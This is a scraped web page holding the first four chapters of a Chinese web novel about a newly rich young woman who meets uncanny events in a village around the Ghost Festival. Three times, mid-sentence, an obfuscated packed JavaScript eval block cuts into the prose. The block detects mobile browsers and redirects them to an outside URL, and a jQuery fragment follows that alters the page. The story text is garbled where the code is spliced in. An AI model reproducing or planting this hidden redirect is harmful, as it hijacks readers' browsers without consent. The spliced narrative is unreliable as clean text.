《前男友真的做鬼来找我了》 1. 第 1 章 突然暴富是怎样一种体验? 谢邀,刚下电瓶车,全款买下两杯盗版蜜雪冰国奶茶,崔茸酝酿了一下,实在是回答不出来。 没办法,她虽然暴富了,但是根本没体验到啊! 此时她身处的地方叫陆家镇,这里虽然是农村,但并不贫穷,当然也比不上大城市繁华,现在正是酷暑,清晨太阳没出来之前和傍晚太阳落下之后,这两段天色蒙蒙亮的时候,正是街道上最热闹的时候。 千万富婆崔茸正骑着价值两千块、刚买一个多月的小电驴在街上穿梭,后座上坐着的是大学同学兼好友陆珈珈。 这里并没有安装红绿灯,过路口的时候总要东张西望一番。 她来到陆家镇已经快两个月,别的都好,只有这一点适应不过来,不过她们俩在这大热天的也不怎么出门就是了。 太阳还躲在地平线下,但温度已在不知不觉中升高了。 这里也没有交警抓人,清晨的风呼啦呼啦的,还算得上凉爽,几乎要将用了鲨鱼夹固定的头发吹乱。 终于来到目的地蛋糕店,三十左右的女老板看到她过来,忙赔笑着道:“妹儿来啦?进来等一会儿,蛋糕马上就做好了。” 崔茸撇撇嘴,有点不高兴,为了适应陆家镇夏天的作息,她今天一大早可是好不容易爬起来的,结果自己准时到了,蛋糕却没有做好。 她没有说什么,但老板再热情邀她进去坐坐她也不肯,大概是为了节约电费,店里并没有开空调,空间又小,一看就十分闷热,还不如在店外面吹吹风。 好巧不巧,在蛋糕店旁边就是一个花圈店,店门口坐着个老头在剪一沓一沓的黄纸,崔茸颇为好奇,不由多看了两眼,旁边的陆珈珈立马在后面用胳膊肘捣了她一下,小声道:“别乱看。” 崔茸这才收回视线,她是个无神论者,对于这种事情一点儿也没有避讳的意思。 明天就是中元节,是民间故事里鬼门大开的日子,陆家镇的居民们似乎都很重视这个日子,这几天都在烧纸上坟。 陆珈珈的父母都没了,但陆家镇的习惯,女孩儿居然连给亲人烧纸的资格都没有,还要靠亲戚代劳。 那老头耳朵却挺好使,仰起头来看他们,声音懒洋洋的,却意外地年轻,看起来应该不超过三十岁。 “你们谁过生日,啧,今天,七月十四,这可不是什么好日子啊。” 这神经兮兮的“老头”穿一件褪成黑色的对襟褂子,头发不知道是特意染的奶奶灰,还是少白头,加上刚才佝偻在小板凳上的身形,崔茸本来就有点近视,把他认成大爷也不稀奇。 她哼了一声,嗤之以鼻:“有什么不好的?” “老头”看出她不信,也没再继续这个话题,笑眯眯问道:“你不是本地人吧?外地的来我们这对方干什么?” 崔茸不客气道:“你管的还挺宽,我是不是本地人,关你什么事?” “老头”摇摇头:“你这个妹儿,人长得漂漂亮亮的,脾气倒不小,我好心提醒你一句,你最近是阴气缠身啊,估计不是你身边亲近之人要出问题,就是你被什么脏东西缠上了,你还不领情。” 崔茸打量他几眼,怎么也看不出来世外高人的气质,反而有更像是精神小伙。 这种人她见多了,不是骗子就是想搭讪的流氓,当即更加不屑:“得了吧你,我还看你印堂发黑,最近有血光之灾呢,出门小心一点吧你。” “老头”也有点着急了,还想再说什么,蛋糕老板正好从店里出来,带着笑将包装好的蛋糕递给崔茸,“妹儿实在不好意思哈,让你等着急了。” 崔茸接过蛋糕,透明盒子用漂亮的丝带扎了个蝴蝶结,包装倒是像模像样的,就是蛋糕上的奶油抹得实在不怎么样,但这是整条街上唯一一家蛋糕店,崔茸也不能再去换别家的,只能皱皱眉不说话,能吃就行。 蛋糕是六英寸的,电瓶车前面的篮子里放不下,她递给后座的陆珈珈,让她用手拎着。 拿到蛋糕后,她没给旁边花圈店的“老头”一个眼神,拧动车把手,鹅黄色的电瓶车就嗖地一声窜出去,只留下后面的一串飞扬的尘土。 陆珈珈家在名庄村,离街上也就十几分钟的路。 这里虽然是农村,但一路看过去,几乎每户都是两层或三层的小楼,还有小院子,和别墅也没什么差别。 道路两旁都是绿色的树,稀稀拉拉几声蝉鸣,环境很是不错。 陆珈珈父母一个在她初中时生病离世,一个在她高中时去世,家庭条件并不好,大学都是助学贷款上完的,家里的房子也只是平房,但面积足够大,院子也很宽敞,门口种了一溜儿的桃树,院子里还有棵挺粗的梨树和石榴树。 家里的冰箱同样有了年头,虽然还能正常工作但空间实在不大,放不下一个六寸的蛋糕。 崔茸把空调又调低了几度,放在客厅应该也不会坏。 村里没有家家户户都通燃气,刚来时家里只有地锅,煤气罐和炉灶都是新装的,但厨房里不好安装空调,太阳出来了,还是早上温度就已经三十五度。 在如此高温下,崔茸和陆珈珈都做不成讲究人,将菜板拿进来客厅来备菜,只炒菜的时候受个几分钟的皮肉之苦就好了。 陆珈珈手艺很好,要用的食材昨天都已准备好,在冰箱里放了一天后,还是很新鲜的。 崔茸一边儿择菜,一边儿抽空看电视机上放着的综艺,陆珈珈却长久的没说话,她在不熟的人面前是很羞涩腼腆的,但在已经混熟了的人比如崔茸面前,也是很爱说笑的。 二十多岁的年轻人,就没有几个真正苦大仇深的。 崔茸有点奇怪:“你怎么了?身体不舒服?刚才出去一趟中暑了?” 陆珈珈声音闷闷的:“……没有。” 崔茸:“那你咋了?” 陆珈珈犹豫片刻,还是说道:“你说刚才那个人,他说的会不会是真的啊?我好像真的命不怎么好。” 崔茸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17167008|196764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大为震惊:“你居然还相信这个?” 陆珈珈幽幽叹口气,她个子不低,但实在是太瘦,跟个筷子一样,脸又小,到下巴的短发,没烫过自然地打着卷儿,看着就像个小学生似的,愁眉苦脸的表情她做来就格外违和。 崔茸安慰她:“你信那个骗子胡说八道呢?估计下一步就是让我们破财消灾了。” 看陆珈珈还是愁眉紧锁,她又拿自己举例子,“你看看我,小时候还有个特别有名的算命先生,说我八字特别好呢,结果也不就是混成这样。这些东西,都是信则有不信则无的,你要是不相信,就什么都没有了。” 陆珈珈苦着脸:“可你命确实是挺好的啊,你现在苦尽甘来,都成小富婆了。” 崔茸立马反驳:“好什么好呀,我现在虽然有钱,但你看我敢花吗?我那个死前任,就跟疯了一样,现在估计还到处找我呢,真不知道什么时候才能消停下来。” 她上大学那会儿和家中父母闹掰,实在是囊中羞涩,见缝插针地找时间去打工,陆珈珈和她同班,虽然不是一个宿舍,但总在一起打工也很熟了。 她和前任的从头到结尾,陆珈珈都一清二楚。 听到崔茸的话,陆珈珈没有丝毫被安慰到的意思,又幽幽叹了口气,比刚才那次还要长。 “我们俩真的好命苦,我出生那年爷爷没了,小学时奶奶没了,初中时爸没了,高中时妈没了。你吧虽然父母双全,但和没有好像也没什么差别,好不容易找到个高富帅还对你好的男人,又被棒打鸳鸯。” 细的眉毛一皱,下一刻仿佛就要哭出来,“老天奶啊,你开开眼吧,我们俩可都是大大的好人啊!” 对于陆珈珈突如其来的怨天尤人,崔茸本人很是无奈。 她拿到的分手费,不是八百也不是八千,可是整整八千万。 虽然当时讨价还价扯皮了好几天,但这八千万可绝对是一笔巨款了,她就算不吃不喝打工几十年也攒不下来这么多钱啊。 她和陆珈珈也算是患难之交了,两人一起穷的时候没少一起出去端盘子。 她们俩读的大学虽然不错,但类似于家教这样的活还是难找,主要是因为大学隔壁就是一所赫赫有名的师范大学。 一样的价格,家长们肯定更愿意选择专业的师范生。 现在她富贵了,当然不能抛下命途多舛的昔日好友,拍着陆珈珈瘦弱的肩膀安慰:“好啦好啦不要难过了,我之前不都跟你说了吗,以后你就是我的私人助理,我给你开工资,你每天就要跟我一起吃喝玩乐就行。” 不提还好,一提这个陆珈珈就更愁了:“你的钱只能看看那一串零,又不能花,我们俩的命怎么就那么苦啊!” 崔茸道:“好了你不要再说了,这个是真伤到我了。菜都准备好了赶紧去做饭吧。” 她从小板凳上起来,腿蹲麻了差点没站稳,准备将择好的菜拿去厨房洗洗,门口的大铁门传来砰砰的敲门声。 有人来了。 2. 第 2 章 “珈珈哎,是我,你大婶子,快开门。” 陆珈珈忙小跑着去开门。 院子里的围墙只有差不多两米,完全是防君子不防小人,不借助工具也很好攀爬。 不过这里的风气,大晚上不关大门的也大有人在。 一开门,就看到陆大婶手里拎着一只鸡和一只鱼,蓬松杂乱的头发,一张脸上满是大颗大颗的汗珠。 她嗔怪道:“哎哟你们这俩妮儿,大白天的关着门干什么,不值得还以为家里没人呢。” 崔茸在城长大,十几年的老邻居她都不知道对面有几口人,更不理解这走亲访友的风气。 这里的人好像和她们一样无所事事,逮住机会就聚在一起唠家常,西家长东家短的,一传十十传百,白的都能传成黑的。 陆大婶也不用人让,自来熟地就往厨房里走,一边和两人说明来意:“你大叔说,你都好几年没回来了,好不容易回来一趟,得好好给你过个生日。我过来先把饭做好,等一会儿,大家伙儿都过来给你庆生。” 陆珈珈脸上惊喜的神色很明显,连局外人崔茸也觉得心里暖融融的。 虽说这里的人际交往没啥边界感,但人情味儿挺足的。 三人一通忙活,崔茸洗菜,陆大婶将带来的鸡和鱼处理好,陆珈珈掌勺,忙得热火朝天,到中午时,一大桌子丰盛的菜肴就准备好了,陆珈珈的其他那些亲戚也都来了。 但分配座椅的时候出来问题,家里的桌子是张方正的木桌,坐七八个人没什么问题,但十几个人就不行了。 陆大叔挺着个啤酒肚,穿着个白色的背心,洗得极薄,皮肤纹理若隐若现,有点辣眼睛,崔茸没敢多看。 他很自然着分配起来,“这样,秀萍你带着小丽、珈珈和她朋友新开一桌。” 崔茸一听,就很不高兴:“什么呀?我们仨忙活了这么久,凭什么去坐小桌子啊?” 陆大婶忙道:“他们这些壮力,凑在一起肯定又要喝酒,这个天气身上也难闻,和他们一起挤多不好,咱们几个女的一起吃不好吗?” 她女儿陆小丽穿一身小香风套装,波浪式的卷发扎成一个高高的马尾,身形也是和陆珈珈似的,又高又瘦,直挺挺的像根筷子,脸的风格却大相径庭,陆珈珈像个未成年,陆小丽却长了一张明艳的脸。 这亲堂姐妹俩好像关系平平,陆小丽自从进家门来那刻起就鼻子不是鼻子眼睛不是眼睛的,听了爸妈的话更是恼怒起来,在大庭广众之下也不给面子,跺脚道:“我早就说了我不想过来不想过来,你们又偏要我过来,结果来了连饭桌都不让上,我不吃这一顿饭是能饿死吗?我不管了,我自己走了你们爱咋滴咋滴!” 说罢踩着高跟凉鞋走了,陆大叔瞪着眼在后面喊了好几句回来也没用。 亲女儿都不给面子,崔茸就更不会给面子了,她不管不顾就往主位一坐,“这菜又不是你们做的,这也不是你们的家,凭什么让我们下去,没有你们这样不讲理的,要是这样,干脆大家都别吃了。” 她也挺嫌弃这些人的,陆大叔已经算好的了,虽然穿着不太得体,身上最起码没什么异味,剩下人里还有几个把衣服往上掀,露出一肚子肥肉的。 陆珈珈胆子小,但心里也不高兴,想象中的温情场面没有出现,反倒是迎来了一帮大老爷,看见崔茸站起来,她忙也小声帮腔:“就是,今天我可是寿星,这顿饭不是为了庆祝我的生日吗?” 陆大婶看气氛不对,忙做和事佬:“算了,珈珈说得对,她是寿星,小崔是客人,你们俩是应该上桌,这样大家挤一挤,我和大强在厨房里吃就行。” 崔茸看见她这副委曲求全的模样就来气,一坐下来,更闻到一股浓重的汗味,眉头皱得越紧。 陆珈珈挺害怕要陆大婶她们生气的,但更害怕崔茸生气。 虽然是亲人,但她还是和崔茸的关系更亲近些,把站起来,努力摆出一副架势,就当着所有人的面和陆大婶说话:“婶子你怎么能这样,我原本以为只是叔儿还有大强小丽过来,结果你叫这么一帮人,坐也坐不开,大家还本来就不熟。” 陆大婶尴尬道:“大家都是邻居,往上数三代都是亲戚。你年纪小,又总在外上学,所以才不熟悉,多走动走动就好了。” 陆珈珈夫妻抿着唇没说话,但其他人脸皮再厚也坐下去了,纷纷起身告辞,没过几分钟,刚才还拥挤的客厅就空荡下来。 陆大叔脸色铁青,“行啊陆珈珈你可真行,我们一番好意来给你过生日,你倒好,大城市见过世面就是不一样哈。” 说完头也没回,甩手走了。 陆大身叹口气,眉眼之间也多有责备,但到底什么也没说,只把一个红包往陆珈珈手里塞:“这是你叔儿和我的一点心意,我们知道,你以后肯定要留在大城市,以后也不知道能再见几面。你叔也是想着热闹一点,真没别的意思,别放在心上哈。” 说完拉着儿子陆大强要走。 陆大强高鼻深目,和妹妹的长相如出一辙,是个浓颜帅哥,又是宽肩窄腰大长腿,身高一米八多,可惜小时候发烧没及时看病烧坏了脑子,智商一直停留在孩童阶段。 被陆大婶拉着,他有点着急,哼哼几声挣脱束缚,将手中一个黄色的小纸条塞到陆珈珈手里,脸上笑容阳光傻气:“生日礼物,送妹妹,妹妹别生气。” 说完又要拉崔茸的手,崔茸被吓了一跳,还妹来得及甩开,他就松开了,手心里却多了个东西,一看也是被折成三角形的黄色纸条。 “送妹妹的好朋友的,好朋友也别生气。” 崔茸觉得,有的人虽然智商正常,但还不如这个傻子呢。 这场饭最后还是只有她们两个吃,可好心情被破坏掉了,就很难再恢复如初。 客厅里的老古董柜式空调还在工作着,冷风不断往外冒,一扇门隔绝了外头的暑热,屋里屋外完全是两个世界。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17167009|196764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吹了蜡烛切了蛋糕,两人吃完饭,一大桌子的菜还剩下一大半,恐怕晚上还有明天都要继续吃剩菜了。 崔茸摆弄着陆大强刚给她手里的塞的那个三角形小纸包,这明显是个平安符,就是不知道是从哪里得来的。 她还第一次碰到平安符呢,想拆开看看,陆珈珈忙制止了她:“不能拆的。” 她想起花圈店那个人的话,又忧心忡忡起来:“你最近还是带着吧,万一真遇到不好的事,说不定还能替你挡一劫呢。” 崔茸先是一愣,然后指着她哈哈大笑起来:“陆珈珈你的思政课都是白上的吗?都是什么年代了,居然还相信这些?” 陆珈珈也不恼怒:“宁可信其有,不可信其无嘛。这好歹也是大强哥送你的礼物,一片心意嘛。再说了,你带着又不会少一块肉。” 崔茸随后装进手机壳里,懒洋洋道:“我大门不出二门不迈的,能出什么事?” 陆珈珈:“哎呦你这话说的,要是凡事都能预料,那就不叫意外了。” 一大早就起来,又忙活了一个上午,崔茸打了个哈欠在沙发上闭了眼,再醒来时已经是晚上八点多了。 这下完蛋,她的生物钟又要更混乱了。 陆珈珈家里有两间卧室,家具一应俱全,但并没有安装空调。 近四十度的高温,没有空调是绝对睡不着的,所以这些天两人都在客厅打地铺。 陆珈珈还没醒,崔茸便也没有开灯,在冰箱里拿了瓶酸奶,带上耳机刷了一会儿手机,外头不时有人语传来,多是小孩子的笑声,应该是去外面捉知了的。 这虫子用油一炸,是小孩子们的最爱,也只有小孩子们才这么不怕热。 到了九点多,外头便一点儿声响也没有了,崔茸喝了瓶酸奶,又喝了一瓶可乐,不可避免想去上厕所。 农村的卫生间基本都建在院子外头,出去一趟很是麻烦。 刚打开房门,一股热风就扑面而来,带着让人心烦意乱的潮湿。 这闷热不正常,很有可能要下雨。 九点,城市的夜生活还没有开始,但农村已经很宁静了,邻居几家屋里的灯还亮着,但门口的道路上安静得很,一个人影都无。 崔茸开了大门,打开手机手电筒照亮脚下的路,谁知道草丛里会不会藏着什么蛇虫鼠蚁。 幸好厕所里安装的是马桶,大夏天的也没什么异味,不过只垒了四面墙,却没有屋顶,一抬头,就是黑漆漆的夜空,也看不到几颗星星。 崔茸心里挺不自在,觉得好像在露天一样。 在厕所的门上挂了个电灯泡,上面用塑料袋简单地做了个罩子以防下雨,一打开是昏黄的光。 崔茸刚解开扣子坐到马桶上,电灯泡就闪了一下。 她没在意,只当做是接触不良,这电灯泡看起来年岁已高,有个小毛病再正常不过。 接下来发生的事情却让崔茸害怕起来了。 3. 第 3 章 先是厕所的木头小门突然自己就打开了,这可把她吓了一大跳,要是有什么变态色狼可怎么办?她裤子都脱了也没法跑啊。 幸好抬头去看,门外什么也没有。 好奇怪,也没有风,她刚才可是把门上的搭扣扣得很好,怎么就突然自己打开了。 崔茸按下冲水键,往家里跑。 月亮的光倒很明亮,树叶的影子投到地上,留下一块块斑驳的动态水墨画。 气氛宁静和谐,并无任何异常,刚才的木门风波不过是个小插曲,崔茸放下心来,不由嘲笑起来自己,真是草木皆兵了。 就那木门,估计比她年龄都大,突然坏那么一下,不是再正常不过的事吗? 都什么年代了,那些神神鬼鬼的,不过都是无稽之谈,她居然还会被吓到。 时不时有两声鸟叫和虫鸣,不远处有野猫上下蹦跳的声音,实在是再平常不过的一个夜晚。 崔茸以前被朋友拉着看恐怖片的时候就从不害怕,一直有个大胆的名号,此刻为了证明自己压根不害怕似的,更是故意放慢脚步往家里走。 在外面的时候也并没出什么岔子,直到她回到院子里,低头将门口挂着的锁链重新缠上,咔哒一声将锁眼对准,肩膀上却突然被轻轻拍了一下。 她飞快回头,背后却空无一人,农家小院里空落落的,梨树和桃树都过了花期,石榴树还没到开花的时候,一身绿叶在夜晚像是像是墨撒出来的。 崔茸淡定不下来了,身上还冒着汗,凉意却从后背往心口窜,逃跑似的躲回客厅,把门反锁,一回头却看到陆珈珈正坐在地板随意铺的垫子上,屋里没开灯,手机光亮将她的脸照得阴森可怖,崔茸被吓得跳起来,很快又反应过来,这是陆珈珈。 陆珈珈也被她吓了一跳,奇怪道:“你怎么这么大反应?” 崔茸将客厅大灯打开,光亮一下子充斥整个房间,但她并没有多安心,也不知道陆珈珈父母是怎么想的,在客厅的电视柜后面放了一整面墙的镜子,白天没什么感觉,在她刚经历了那么一番事情后,就觉得有点不对劲了,仿佛那镜中,藏了另外一个世界似的。 崔茸故作无事:“你是不知道,你刚才脸被手机照着,那模样多吓人。眼睛本来就近视,还不开灯玩手机,小心真变成睁眼瞎。” 陆珈珈扶了一下厚厚的眼睛,笑嘻嘻道:“我都习惯戴眼镜了,除了不方便一点,也没什么不好的。” 崔茸其实也近视,但度数不深,只有一百多度,她的眼镜基本上都放在包里吃灰。 她躺下来,身底下的垫子薄薄一层,虽然铺了一层毛毯但还是硬邦邦的。 旁边的陆珈珈打量着她:“你怎么出了那么多汗?不去洗个澡吗?” 崔茸沉默两秒,才回道:“不洗了,中午洗完澡我好像忘记上水了,明天你记得提醒我啊。” 家里并没有热水器,安装的是太阳能,夏天倒是省电又方便,只要提前一晚打开灌水开关,第二天就能用上热水。 现在是夏天,太阳大着呢,崔茸也好奇问过那冬天怎么办,陆珈珈眼神中带着几分鄙视:“村口那么大一个澡堂子你没看到吗?” 崔茸看到了,却不愿意去想。大学住宿时有独立卫浴,高中她也是去挤过公共浴室的,但那都是同龄女生。 她是真怕了这些上了年纪的大妈婆婆们了,崔茸可没有一边洗澡一边被陌生人查问户口的爱好。 她早就打算好了,到了冬天,狗池鹤早发完疯那最好,她就拿着钱带着陆珈珈去逍遥快活。 如果他还发疯,她就在家里装个电热水器,也不用多少钱。 她和陆珈珈回来之前从银行里取了一背包的现金,五十万,在陆家镇这里,也没有什么能花钱的地方,都来了两个月,添置的东西零零散散杂七杂八,实际上连一万块都没有花完。 可能是她和陆珈珈真心有灵犀,她正在心里想池鹤什么时候才能放过她,陆珈珈也突然问起和他有关的问题:“你还真要和池鹤分手啊?我觉得他挺好的,高富帅还对你好。要不然你和他来个暗度陈仓吧,他爸妈虽然不同意你们在一起,但是你想啊,他们都多大岁数了,肯定没有你俩活得长。你现在先和他地下恋,等她们死了,你们再光明正大谈恋爱不就行了吗?” 崔茸被逗笑了,连刚才在院子里发生的事几乎都忘记:“得了吧,我没见到他爸,但就看他妈那个样子,比我身体还好呢,不说长命百岁了,活个七八十是没有问题的。与其在他们这一家子上蹉跎我的青春年华,还不如拿钱跑路呢。只要有钱,什么样的男人找不到啊?” 陆珈珈还是挺惋惜:“可惜他真的不错唉,说到底,还是我们俩命太苦,之后我们一定要去找个有名的大师看看有没有什么改运之法!” 听到前半句,她又七拐八拐回到命苦这个莫须有的问题,崔茸本来头都大了,听到她的后半句话又心中一动。 ……大师? 她沉默着,将薄薄的空调被拉上肩头,不由自主又想起今早在蛋糕店门口遇到的那个人,他好像说什么来着? 不是亲友有灾,就是她自己阴气缠身…… 这种事告诉陆珈珈只能听到她的吱哇怪叫,为了自己的耳朵着想,崔茸决定还是保持沉默。 她不断在心里祈祷着,这最好只是她的错觉罢了。 让她安心的是,再也没发生什么奇怪的事,不幸的是她的生物钟彻底乱掉了。 凌晨起来将冰箱里剩的蛋糕吃完了,到了早上的时候又来了睡意。 她现在也无事可做,自然是想睡就睡。 这么一想,就算不能拿着八千万去外面逍遥快活,窝在这小镇上似乎也挺不错的,虽说没有外卖可点,但也不愁吃喝,无事可做。 人嘛,知足常乐。 崔茸再睁开眼的时候已经是下午五点,这次是陆珈珈比她先醒,外头乌云密布,看起来将会有一场大雨。 陆珈珈已经把院子里晾晒的衣服都收了回来,还没来得及叠好,就那么胡乱摆放在沙发上。 雷声轰隆隆的,天色昏黑着,只一道道闪电划破天际,带来片刻光亮。 不过片刻,倾盆大雨便下了下来,泼在院子里,惹得墙角的一片塑料布哗啦哗啦地响。 崔茸再这里呆了这么久,都要习惯了,雷声大雨点小,这雨来得急去得也快。 下了大雨这暑气总算被冲淡不少,但屋里的空调还是没停。 崔茸将冰箱里的一大盘剩菜都端出来,从中捡了两盘,一盘自己爱吃的辣子鸡丁,一盘陆珈珈爱吃的番茄土豆牛腩,放进微波炉里,剩下的也没准备放回冰箱,她实在是不爱吃剩菜,想着拿去喂陆大婶家养的大黄狗。 陆大婶家就在隔壁。 等到吃完后,陆珈珈准备去街上买菜,傍晚本来不是买菜的时候,但她们俩如今这作息,大早上正是睡觉的时候,怎么也起来,总不能让家里断粮。 崔茸一向是不乐意出门的,天热是其次,她实在是接受不了这种氛围,好像随时随地就会刷新出来一个NPC,一聊都是亲戚,再来一句“小时候我还抱过你呢”,就要和陆珈珈畅聊起来,连她这个旁观者也不放过。 但今天却是个例外,她匆忙找了个发圈头发扎成个马尾,“我也一起去。” 陆珈珈虽然有些奇怪,但什么也没问,高高兴兴地去推电动车。 风里带着温度和刚才大雨留下的潮湿,这场来势汹汹的大雨总共才下了半个小时就飞快鸣金收兵,柏油路上还好,旁边的泥土地面都变得泥泞起来。 陆珈珈平日里买菜也是直接去超市的,简单方便快捷,不用你来我往地讨价还价。 这次崔茸却主动提起:“我们去逛一下菜市场吧,我好不容易出来一次,想多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17167010|196764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 买点新鲜的水果。” 这种小事她既然提出来了,陆珈珈当然不会拒绝,两人到超市门口也没有停止,而是继续往街里去,只不过崔茸的愿望还是落空了,路过那个花圈店时,去和回来两次都没看到人影,店门也紧闭着,估计是不在吧。 她心里有几分空荡荡的,但还是什么都没说。 晚饭时青菜粥加上刚从菜市场里新买的小咸菜,这咸菜是当地的特产,脆脆咸咸的,还带着股清甜,崔茸这个外地人也十分喜欢吃。 在空调的凉风下,她刚盛了一碗粥喝下去,下一秒却又喷了出来。 刚坐下来的陆珈珈吓了一跳:“怎么了这是?有毒啊?” 崔茸急忙拿起茶几下面放着的饮料,灌了两口才回答道:“也差不多了,我的天,陆珈珈,你是把一整袋盐都倒进去了吗?齁死人了。” 陆珈珈反驳:“不可能,绝对不可能。不要拿你的兴趣挑战我的专业。我放调味料一直都是很小心的,今天这个粥我只放了三分之一勺的盐,怎么可能齁死人,该不会是你味觉出问题了吧?” 崔茸:“你不相信自己尝尝不就行了吗?” 陆珈珈便真喝了一大口,然后没到一秒,就全部喷了出来。 崔茸赶忙把刚倒的凉白开递过去给她漱口,陆珈珈这才真的相信,但嘴里仍然喃喃道:“不应该啊,我记得很清楚的,我只放了一点儿,不可能这么咸的。” 她拉着崔茸冲去厨房,看着盐罐子惊呼出声:“我去又见底了,昨天明明才刚拆了一整包盐倒进去的!” 崔茸沉默,昨天陆珈珈倒盐的时候她就在旁边,剪刀还是她找的呢。 在得到崔茸的肯定答复后,陆珈珈忧心忡忡起来:“要是我一个人记错了也就算了,怎么咱们两个人都记错了啊?完蛋了,该不会我们俩年纪轻轻就要老年痴呆了吧!” 崔茸不担心自己会老年痴呆,但想起昨晚上厕所的事情,心里总不再和以前一样淡定,开始慌乱起来,面上仍然维持淡定:“别的胡思乱想了,可能是我们俩都记错了呢。” 这锅青菜粥肯定是不能吃了,两人刚从街上回来,也不缺吃的,豌豆黄馅儿的馒头崔茸也很爱吃。 崔茸心里有事,食欲却没有受到影响,这里是陆珈珈家,确实死过人,但死的人也是她亲妈亲爸啊,就算变成鬼也不至于害她们两个吧? 不对不对,怎么又把自己绕进去了,这个世界上根本就没有鬼,昨天估计就是心里作用作祟,陆珈珈也是个马大哈,放多了盐也不是什么罕见的事情。 她强迫自己忘掉这两件事,外头暮色渐浓,以前这个点大爷阿婆们都会端着碗坐在树荫下吃饭,今天却没有看到人影,这正合崔茸的意,她把昨天的剩菜都打包到塑料袋,和陆珈珈一起去喂旁边的狗。 农村不像城市有那么多规矩,养的狗基本是满村子撒欢,拴起来的是少数, 晚上的狗子们也都回家了,她只要在门口一招呼,大黄就跑过来了。 农村的狗同样也没有多少喂狗粮的,基本上都是剩菜剩饭养大的。 和大黄一起过来的还有陆珈珈的堂兄,那个脑筋不好的陆大强。 陆大强虽然是个傻子,但每天好像都很开心,脸上时时刻刻都挂着笑容。 陆大叔家算不上大富,但也不算穷,前几年陆大叔出去打工赚了不少钱,在农村也没什么特别花钱的地方。 陆大婶也勤快,同村七八岁的小孩子还有光着屁股留着鼻涕满地乱跑的,但陆大强永远都是干干净净的,甚至发型都是时下最流行的。 只要他静静站在那里,不说话也不笑,比大部分同龄男生看起来还要招人喜欢一点。 但让他不笑是不可能的,他好像有着数不清的开心事。 崔茸一时也不知道,傻了是不是也是一种幸福,不用上学不用上班,还能照样吃喝不愁。 4. 第 4 章 陆大强看大黄吃得开心,高兴得拍起手来,等大黄吃完,他又神秘兮兮拉着陆珈珈和崔茸,不让她们俩回家,“今天村口唱戏的,我们一起去看吧?” 崔茸只在课文里知道会有社戏的传统,但还没有见识过,想着反正在家里也无事可做,还不如去凑凑热闹。 陆珈珈一向都是可以也不可以的,看她想去就去里屋搬了三个折叠小板凳,又分别拿了一大包焦糖瓜子和南瓜子,三人便朝着西边的田头出发了。 陆大强抢着扛过了三个折叠椅,举过头顶,手里还牵着大黄,颇有几分“左牵黄、右擎苍”的豪迈意味,如果忽略掉他脸上的傻气的话。 陆珈珈道:“我记得小时候在大队那看过电影,后来家里都有电视手机,也没人去挤着看了。红白喜事我们这倒是喜欢大操大办,但都是一到晚上就把小孩赶回家了,算起来我还没有正经看过呢。” 陆大强:“村长找来人唱戏的,让大家都好好玩。” 等到了地点,这里却并不像是给人好好玩的。 因为高温,傍午下的那场雨早已无影无踪,戏台子搭的倒是豪华气派,几个装扮上了的喜剧演员已经在上面唱起来,没有实时字幕,崔茸也听不懂这是唱的哪一出。 田头空旷,这两年种地的人少了,有外地的大老板过来承包,地里都盖上了大棚开始种起来草莓,不远处还开了养鸡场,夏日高温,还没靠近就有浓烈的鸡屎味传来。 不是让大家都好好玩吗? 这里分明一个人都没有,陆大强牵着的大黄狗叫起来,还焦急得打着圈儿,陆大强弯下腰拍拍狗脑袋,安抚道:“大黄不要吵。” 这狗像是能听懂人话似的,居然真的不吵了。 崔茸心里觉得有点不对,但看着陆大强和陆珈珈都已经掰开折叠板凳坐下来,她也没有多想。 也是,这大热天的,除了他们三人一狗,四个傻子,还有谁会放着凉爽的空调屋不呆,跑外头来喂蚊子呢? 崔茸聚精会神看盯着舞台看了一会儿,但很快就放弃了,咿咿呀呀地唱的也不知道是什么,除了男女声音的区别,什么都听不出来。 她百无聊赖起来,旁边的陆珈珈和陆大强却都一脸认真。 听不懂的东西都很催眠,英语是这样,高数是这样,这戏曲也是如此。 崔茸打了个哈欠,小声问道:“你能看懂的吗?这唱的是什么故事,我一句都没听懂。” 陆珈珈小声道:“其实我也没听懂。” 话音刚落,崔茸还要跟她再吐槽几句,陆珈珈却脸色煞白,蹭的一下站了起来,左手拉着崔茸,右手拉着陆大强,“既然我们都听不懂,还是赶紧回家吧,我都困死了。” 说完也没给两人说话的时间,大步流星就走了起来。 崔茸被拉得踉踉跄跄,平时还真不知道,陆珈珈居然有这么大的手劲。 直到下一个路口就是家门口,陆珈珈的脚步才慢下来,没有了戏曲咿咿呀呀地声音掩盖,天地好像又活了过来,各种昆虫的鸣叫声整合在一起,远远看见,陆大婶似乎就站在家门口。 